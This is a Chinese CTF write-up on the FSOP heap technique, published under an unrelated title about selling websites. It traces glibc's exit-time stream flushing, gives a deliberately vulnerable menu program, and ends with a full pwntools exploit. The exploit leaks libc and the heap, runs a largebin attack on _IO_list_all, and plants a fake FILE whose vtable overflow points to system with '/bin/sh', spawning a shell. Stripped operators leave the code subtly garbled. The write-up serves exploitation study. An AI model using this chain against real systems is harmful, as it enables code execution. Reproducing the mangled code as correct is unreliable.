销售网站是什么怎么样把网站做火

当前位置: 首页 > news >正文

销售网站是什么,怎么样把网站做火,济南网站建设及推广,自学ui设计需要多久FSOP#xff1a;File Stream Oriented Programming 通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus#xff0c;进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。 目录 前言 一、glibc-exit函数浅析 二、FSOP 三、Largebin attack FSOP #xff08;… FSOPFile Stream Oriented Programming 通过劫持 _IO_list_all 指向伪造的 _IO_FILE_plus进而调用fake IO_FILE 结构体对象中被伪造的vtable指向的恶意函数。 目录 前言 一、glibc-exit函数浅析 二、FSOP 三、Largebin attack FSOP 一Leak libc 二Largebin attack 三FSOP  四调试追踪调用 五EXP 前言 我们将着重关注vtable中的_IO_file_overflow函数指针。 当函数exit时程序执行_IO_flush_all_lockp 函数。该函数会刷新 _IO_list_all 链表中所有项的文件流相当于对每个 FILE 调用fflush 也对应着会调用 _IO_FILE_plus.vtable 中的_IO_overflow。 参考宝藏博主linux IO_FILE 利用_io list all结构体-CSDN博客  一、glibc-exit函数浅析 一般FSOP可以通过exit来触发布置好的fake IO我们来粗略过一遍流程 // exit.c void exit(int status) {__run_exit_handlers(status, exit_funcs, true); } libc_hidden_def(exit)/* Call all functions registered with atexit and on_exit,in the reverse of the order in which they were registeredperform stdio cleanup, and terminate program execution with STATUS. */ voidattribute_hiddenrun_exit_handlers(int status, struct exit_function_list *listp,bool run_list_atexit) {/ First, call the TLS destructors. / #ifndef SHAREDif (call_tls_dtors ! NULL) #endifcall_tls_dtors();/ We do it this way to handle recursive calls to exit () made bythe functions registered with atexit and on_exit. We calleveryone on the list and use the status value in the lastexit (). */while (*listp ! NULL){struct exit_function_list *cur *listp;while (cur-idx 0){const struct exit_function *const f cur-fns[–cur-idx];switch (f-flavor){void (*atfct)(void);void (*onfct)(int status, void *arg);void (*cxafct)(void *arg, int status);case ef_free:case ef_us:break;case ef_on:onfct f-func.on.fn; #ifdef PTR_DEMANGLEPTR_DEMANGLE(onfct); #endifonfct(status, f-func.on.arg);break;case ef_at:atfct f-func.at; #ifdef PTR_DEMANGLEPTR_DEMANGLE(atfct); #endifatfct();break;case ef_cxa:cxafct f-func.cxa.fn; #ifdef PTR_DEMANGLEPTR_DEMANGLE(cxafct); #endifcxafct(f-func.cxa.arg, status);break;}}*listp cur-next;if (listp ! NULL)/ Dont free the last element in the chain, this is the staticallyallocate element. /free(cur);}if (run_list_atexit)RUN_HOOK(libc_atexit, ());_exit(status); } exit实际调用了run_exit_handlers函数。它的作用是在程序退出时调用所有通过 atexit 和 on_exit 注册的函数并执行标准 I/O 清理最终终止程序执行。 对于函数参数中的__exit_funcs可以继续追踪定位到其实现 // cxa_atexit.c/ Register a function to be called by exit or when a shared libraryis unloaded. This function is only called from code generated bythe C compiler. */ int __cxa_atexit(void (*func)(void *), void *arg, void d) {return __internal_atexit(func, arg, d, exit_funcs); } libc_hidden_def(cxa_atexit)/ We change global data, so we need locking. */libc_lock_define_initialized(static, lock)static struct exit_function_list initial; struct exit_function_list *exit_funcs initial; 对于“执行标准 I/O 清理”操作我们更为关心chat得知是下述函数实现 if (run_list_atexit)RUN_HOOK(libc_atexit, ()); 经过全局搜索可追溯到 // genops.c #ifdef text_set_element text_set_element(libc_atexit, _IO_cleanup); #endif此处已经看到执行了IO清理的操作继续追溯 int _IO_cleanup (void) {/* We do not want locking. Some threads might use streams butthat is their problem, we flush them underneath them. /int result _IO_flush_all_lockp (0);/ We currently dont have a reliable mechanism for making sure thatC static destructors are executed in the correct order.So it is possible that other static destructors might want towrite to cout - and theyre supposed to be able to do so.The following will make the standard streambufs be unbuffered,which forces any output from late destructors to be written out. */_IO_unbuffer_all ();return result; }int _IO_flush_all_lockp (int do_lock) {int result 0;struct _IO_FILE *fp;int last_stamp;#ifdef _IO_MTSAFE_IOlibc_cleanup_region_start (do_lock, flush_cleanup, NULL);if (do_lock)_IO_lock_lock (list_all_lock); #endiflast_stamp _IO_list_all_stamp;fp (_IO_FILE ) _IO_list_all;while (fp ! NULL){run_fp fp;if (do_lock)_IO_flockfile (fp);if (((fp-_mode 0 fp-_IO_write_ptr fp-_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T|| (_IO_vtable_offset (fp) 0 fp-_mode 0 (fp-_wide_data-_IO_write_ptr fp-_wide_data-_IO_write_base)) #endif) _IO_OVERFLOW (fp, EOF) EOF)result EOF;if (do_lock)_IO_funlockfile (fp);run_fp NULL;if (last_stamp ! _IO_list_all_stamp){/ Something was added to the list. Start all over again. */fp (_IO_FILE *) _IO_list_all;last_stamp _IO_list_all_stamp;}elsefp fp-_chain;}#ifdef _IO_MTSAFE_IOif (do_lock)_IO_lock_unlock (list_all_lock);libc_cleanup_region_end (0); #endifreturn result; } 至此看到对于_IO_list_all上的IO_FILE链都执行_IO_OVERFLOW的操作。  二、FSOP 劫持 _IO_list_all 的方式一般有两种 修改 IO_FILE 结构体为了不影响 IO 建议修改 _IO_2_1_stderr 结构体。利用例如 large bin attack 的攻击方法将 _IO_list_all 覆盖成一个 chunk 地址然后在该 chunk 上伪造 IO_FILE 结构体。  在劫持 _IO_2_1_stderr 时除了修改 vtable 指针指向伪造 vtable 外要想调用 _IO_2_1_stderr 还需要修改 以满足以下条件 fp-_mode _IO_write_ptr fp-_IO_write_base         因此不妨将 vtable 伪造在 _IO_2_1_stderr 0x10 处使 _IO_overflow _IO_2_1_stderr 的 fp-_IO_write_ptr 恰好对应于 vtable 的 _IO_overflow 。然后将fp-_IO_write_ptr 写入 system 函数地址。由于_IO_overflow 传入的参数为_IO_2_1_stderr 结构体因此将结构体其实位置处写入 /bin/sh 字符串。                                                                                                                    ——by sky123 这里通过模板题利用largebin attack来实现FSOP  三、Largebin attack FSOP #includestdlib.h #include stdio.h #include unistd.hchar *chunk_list[0x100];void menu() {puts(1. add chunk);puts(2. delete chunk);puts(3. edit chunk);puts(4. show chunk);puts(5. exit);puts(choice:); }int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf); }void add_chunk() {puts(index:);int index get_num();puts(size:);int size get_num();chunk_list[index] malloc(size); }void delete_chunk() {puts(index:);int index get_num();free(chunk_list[index]); }void edit_chunk() {puts(index:);int index get_num();puts(length:);int length get_num();puts(content:);read(0, chunk_list[index], length); }void show_chunk() {puts(index:);int index get_num();puts(chunk_list[index]); }int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts(invalid choice.);}} }一Leak libc 同时为了准备largebin attack申请largebin范围大小的chunk

leak libc

add(0,0x10) add(0,0x418) add(1,0x18) add(2,0x428) add(3,0x10) delete(0) delete(2) show(0) io.recvline() libc.addressu64(io.recv(6).ljust(8,b\x00))-0x39bb78 success(hex(libc.address)) show(2) io.recvline() heap_baseu64(io.recv(6).ljust(8,b\x00)) ~0xfff success(hex(heap_base)) 二Largebin attack

Largebin attack

add(0,0x418) add(10,0x500)
edit(2,p64(0)*3p64(libc.sym[_IO_list_all]-0x20))
delete(0) add(10,0x500) 确实写了一个堆地址但是为了能够布置数据我们希望能将堆申请出来。为此我们不通过申请大chunk来触发largebin attack而是申请一个小chunk释放unsortedbin chunk到largebin中触发又从largebin中取出chunk到unsortedbin。至此largebin里只剩下目标chunk我们再恢复一下相关指针就可以将该chunk malloc出来。 修改上述exp片段代码

Largebin attack

add(0,0x418) add(10,0x500) edit(2,p64(0)*3p64(libc.sym[_IO_list_all]-0x20)) delete(0) add(10,0x10) 可以看到unsortedbin里有一个chunklargebin生下了目标chunk接下来恢复指针

fd、bk指向libcfd_nextsize、bk_nextsize指向自己

edit(2,p64(libc.address0x39bf68)*2p64(heap_base0x460)*2) 接下来申请出目标chunk add(0,0x428) 三FSOP  可见我们可控的区域实际上偏移了0x10为此我们可以通过物理临近的前一个chunk复用prev_size字段来修改。 IO_FILE有模板这里给出来自这个大佬的博客  fake_file b fake_file b/bin/sh\x00 # _flags, an magic number fake_file p64(0) # _IO_read_ptr fake_file p64(0) # _IO_read_end fake_file p64(0) # _IO_read_base fake_file p64(0) # _IO_write_base fake_file p64(libc.sym[system]) # _IO_write_ptr fake_file p64(0) # _IO_write_end fake_file p64(0) # _IO_buf_base; fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1) fake_file p64(0) * 4 # from _IO_save_base to _markers fake_file p64(libc.sym[_IO_2_1stdout]) # the FILE chain ptr fake_file p32(2) # _fileno for stderr is 2 fake_file p32(0) # _flags2, usually 0 fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1 fake_file p16(0) # _cur_column fake_file b\x00 # _vtable_offset fake_file b\n # _shortbuf[1] fake_file p32(0) # padding fake_file p64(libc.sym[_IO_2_1stdout] 0x1ea0) # _IO_stdfile_1_lock fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1 fake_file p64(0) # _codecvt, usually 0 fake_file p64(libc.sym[_IO_2_1stdout] - 0x160) # _IO_wide_data_1 fake_file p64(0) * 3 # from _freeres_list to __pad5 fake_file p32(0xFFFFFFFF) # _mode, usually -1 fake_file b\x00 * 19 # _unused2 fake_file fake_file.ljust(0xD8, b\x00) # adjust to vtable fake_file p64(libc.sym[_IO_2_1stderr] 0x10) # fake vtable 由于缺了0x10可控这里需要薛微调整一下 fake_file b

fake_file b/bin/sh\x00 # _flags, an magic number

fake_file p64(0) # _IO_read_ptr

fake_file p64(0) # _IO_read_end fake_file p64(0) # _IO_read_base fake_file p64(0) # _IO_write_base fake_file p64(libc.sym[system]) # _IO_write_ptr fake_file p64(0) # _IO_write_end fake_file p64(0) # _IO_buf_base; fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1) fake_file p64(0) * 4 # from _IO_save_base to _markers fake_file p64(libc.sym[_IO_2_1stdout]) # the FILE chain ptr fake_file p32(2) # _fileno for stderr is 2 fake_file p32(0) # _flags2, usually 0 fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1 fake_file p16(0) # _cur_column fake_file b\x00 # _vtable_offset fake_file b\n # _shortbuf[1] fake_file p32(0) # padding fake_file p64(libc.sym[_IO_2_1stdout] 0x1ea0) # _IO_stdfile_1_lock fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1 fake_file p64(0) # _codecvt, usually 0 fake_file p64(libc.sym[_IO_2_1stdout] - 0x160) # _IO_wide_data_1 fake_file p64(0) * 3 # from _freeres_list to __pad5 fake_file p32(0xFFFFFFFF) # _mode, usually -1 fake_file b\x00 * 19 # _unused2 fake_file fake_file.ljust(0xD8-0x10, b\x00) # adjust to vtable

fake_file p64(libc.sym[_IO_2_1stderr] 0x10) # fake vtable

fake_file p64(heap_base0x460 0x10) # fake vtable edit(0,fake_file) 然后就 pwndbg p *_IO_list_all \(4 {file {_flags 0,_IO_read_ptr 0x431 error: Cannot access memory at address 0x431,_IO_read_end 0x0,_IO_read_base 0x0,_IO_write_base 0x0,_IO_write_ptr 0x72d08ec3f560 __libc_system H\205\377t\v\351\206\372\377\377f\017\037D,_IO_write_end 0x0,_IO_buf_base 0x0,_IO_buf_end 0x0,_IO_save_base 0x0,_IO_backup_base 0x0,_IO_save_end 0x0,_markers 0x0,_chain 0x72d08ef9c620 _IO_2_1_stdout_,_fileno 2,_flags2 0,_old_offset -1,_cur_column 0,_vtable_offset 0 \000,_shortbuf \n,_lock 0x72d08ef9e4c0 prof_info160,_offset -1,_codecvt 0x0,_wide_data 0x72d08ef9c4c0 _nl_global_locale160,_freeres_list 0x0,_freeres_buf 0x0,__pad5 0,_mode -1,_unused2 \000 repeats 19 times},vtable 0x5e7f135df470 } pwndbg p *_IO_list_all.vtable \)5 {dummy 0,dummy2 0,finish 0x0,overflow 0x72d08ec3f560 libc_system,underflow 0x0,uflow 0x0,pbackfail 0x0,xsputn 0x0,xsgetn 0x0,seekoff 0x0,seekpos 0x0,setbuf 0x72d08ef9c620 _IO_2_1stdout,sync 0x2,doallocate 0xffffffffffffffff,read 0xa000000,write 0x72d08ef9e4c0 prof_info160,seek 0xffffffffffffffff,close 0x0,stat 0x72d08ef9c4c0 _nl_global_locale160,showmanyc 0x0,imbue 0x0 }然后我们通过chunk_list[1]来布置/bin/sh\x00 edit(1,p64(0)*2b/bin/sh\x00) 四调试追踪调用 exit - __run_exit_handlers - _IO_cleanup - _IO_flush_all_lockp - fileop.vtable.overflow fileop已经被我们劫持也在该结构体头布置了”/bin/sh\x00参数因此执行system(/bin/sh\x00) 五EXP  from pwn import *elfELF(./pwn) libcELF(./libc.so.6) context.archelf.arch context.log_leveldebug context.oself.os def add(index, size):io.sendafter(bchoice:, b1)io.sendafter(bindex:, str(index).encode())io.sendafter(bsize:, str(size).encode())def delete(index):io.sendafter(bchoice:, b2)io.sendafter(bindex:, str(index).encode())def edit(index, content):io.sendafter(bchoice:, b3)io.sendafter(bindex:, str(index).encode())io.sendafter(blength:, str(len(content)).encode())io.sendafter(bcontent:, content)def show(index):io.sendafter(bchoice:, b4)io.sendafter(bindex:, str(index).encode())ioprocess(./pwn)# leak libc add(0,0x10) add(0,0x418) add(1,0x18) add(2,0x428) add(3,0x10) delete(0) delete(2)show(0) io.recvline() libc.addressu64(io.recv(6).ljust(8,b\x00))-0x39bb78 success(hex(libc.address)) show(2) io.recvline() heap_baseu64(io.recv(6).ljust(8,b\x00)) ~0xfff success(hex(heap_base))# Largebin attack add(0,0x418) add(10,0x500) edit(2,p64(0)*3p64(libc.sym[_IO_list_all]-0x20)) # 0x39bf68 delete(0) add(10,0x10) edit(2,p64(libc.address0x39bf68)*2p64(heap_base0x460)*2) add(0,0x428)fake_file b

fake_file b/bin/sh\x00 # _flags, an magic number

fake_file p64(0) # _IO_read_ptr

fake_file p64(0) # _IO_read_end fake_file p64(0) # _IO_read_base fake_file p64(0) # _IO_write_base fake_file p64(libc.sym[system]) # _IO_write_ptr fake_file p64(0) # _IO_write_end fake_file p64(0) # _IO_buf_base; fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1) fake_file p64(0) * 4 # from _IO_save_base to _markers fake_file p64(libc.sym[_IO_2_1stdout]) # the FILE chain ptr fake_file p32(2) # _fileno for stderr is 2 fake_file p32(0) # _flags2, usually 0 fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1 fake_file p16(0) # _cur_column fake_file b\x00 # _vtable_offset fake_file b\n # _shortbuf[1] fake_file p32(0) # padding fake_file p64(libc.sym[_IO_2_1stdout] 0x1ea0) # _IO_stdfile_1_lock fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1 fake_file p64(0) # _codecvt, usually 0 fake_file p64(libc.sym[_IO_2_1stdout] - 0x160) # _IO_wide_data_1 fake_file p64(0) * 3 # from _freeres_list to __pad5 fake_file p32(0xFFFFFFFF) # _mode, usually -1 fake_file b\x00 * 19 # _unused2 fake_file fake_file.ljust(0xD8-0x10, b\x00) # adjust to vtable

fake_file p64(libc.sym[_IO_2_1stderr] 0x10) # fake vtable

fake_file p64(heap_base0x460 0x10) # fake vtable edit(0,fake_file) edit(1,p64(0)*2b/bin/sh\x00)gdb.attach(io,b exit\nc)io.interactive()